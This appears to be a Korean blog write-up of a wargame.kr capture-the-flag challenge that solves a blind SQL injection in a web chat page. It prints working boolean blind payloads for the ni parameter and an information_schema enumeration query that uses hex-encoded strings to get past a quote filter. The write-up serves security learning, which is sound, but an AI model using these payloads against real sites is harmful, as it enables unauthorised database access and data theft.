이번 문제도 SQL인젝션 문제라고 한다. 역시 친절하게도 Simple SQLi (blind) 문제라고 알려준다.


채팅을 웹으로 구현해 놓았는데, 페이지 수가 2개인가 밖에 없어서 취약점은 쉽게 찾을 수 있다.


몇번 입력 후 chatview.php 페이지에 취약점이 존재함을 확인했다.




  /web_chatting/chatview.php?t=1&ni=30215{인젝션}





 그런데~~ 인젝션 중 특정 조건이 되면 전체 쿼리를 다 가져오려고 시도해서 응답이 매우매우 느려진다.

(문제 힌트에서 개발자 관점으로 부하를 줄여보라는 걸 보니 일부러 그렇게 구현해 놓은듯)


잠시 고민하다가, 아래처럼 해결했다.


/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=1+then+2+else+1+end)

/web_chatting/chatview.php?t=1&ni=30215-(select+case+when+1=2+then+2+else+1+end)


계산 후 ni 값이 바뀌기 때문에 가져오는 대화 내용이 다르다. 늘 사용하던 스크립트로 샤샥



db 잘 가져오는걸 보니 이제 flag 가 있는 테이블만 찾으면 될 듯 하다.


테스트 해보니 ' 는 막혀있기 때문에 아래처럼 like 구문을 이용했다. mysql, information_schema 가 아닌 테이블(=사용자 테이블),칼럼명 조회




select concat(table_name,char(0x2c),column_name) 


from information_schema.columns 


where table_schema not like 0x696e666f726d6174696f6e5f736368656d61 and 

           table_schema not like 0x6d7973716c and 

           table_name not like 0x636861745f6c6f67 limit 1





해당 테이블을 조회하면 flag 가 들어있었다. 끝.

'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06

+ Recent posts